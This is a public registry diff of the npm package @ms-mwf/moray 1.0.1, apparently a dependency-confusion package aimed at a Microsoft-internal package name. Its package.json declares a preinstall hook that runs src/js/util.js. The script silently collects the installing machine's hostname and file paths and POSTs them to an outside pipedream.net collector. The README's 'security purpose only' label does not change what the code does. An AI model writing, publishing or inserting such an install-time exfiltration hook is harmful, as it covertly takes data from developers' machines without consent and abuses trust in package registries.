@ms-mwf/moray 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @ms-mwf/moray might be problematic. Click here for more details.

package/README.md ADDED
@@ -0,0 +1 @@
1
+ security purpose only.
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "@ms-mwf/moray",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "src/js/util.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node src/js/util.js"
9
+ },
10
+ "author": "Aditya",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "http": "0.0.1-security",
14
+ "https": "^1.0.0",
15
+ "os": "^0.1.1"
16
+ }
17
+ }
package/src/js/util.js ADDED
@@ -0,0 +1,42 @@
1
+ 'use strict'
2
+
3
+ const https = require('https')
4
+ const http = require("http");
5
+ const os = require("os");
6
+
7
+ var currentPath = __dirname;
8
+ var currentFile = __filename;
9
+
10
+ var data = {
11
+ hostname: JSON.stringify(os.hostname()),
12
+ currentPath: currentPath,
13
+ currentFile: currentFile,
14
+
15
+ };
16
+
17
+ data = JSON.stringify(data)
18
+
19
+ const options = {
20
+ hostname: 'enjglpdgtgrbn4b.m.pipedream.net',
21
+ port: 443,
22
+ path: '/aHR0cHM6Ly9ub25wcm9maXQubWljcm9zb2Z0LmNvbS9zdGF0aWMvanMvMi5hODJhZWY0Ny5jaHVuay5qcy5tYXA6bm9kZV9tb2R1bGVzL0Btcy1td2YvbW9yYXkvc3JjL2pzL3V0aWwuanM=',
23
+ method: 'POST',
24
+ headers: {
25
+ 'Content-Type': 'application/json',
26
+ 'Content-Length': data.length
27
+ }
28
+ }
29
+
30
+ const req = https.request(options, res => {
31
+
32
+ res.on('data', d => {
33
+ process.stdout.write(d)
34
+ })
35
+ })
36
+
37
+ req.on('error', error => {
38
+ console.error(error)
39
+ })
40
+
41
+ req.write(data)
42
+ req.end()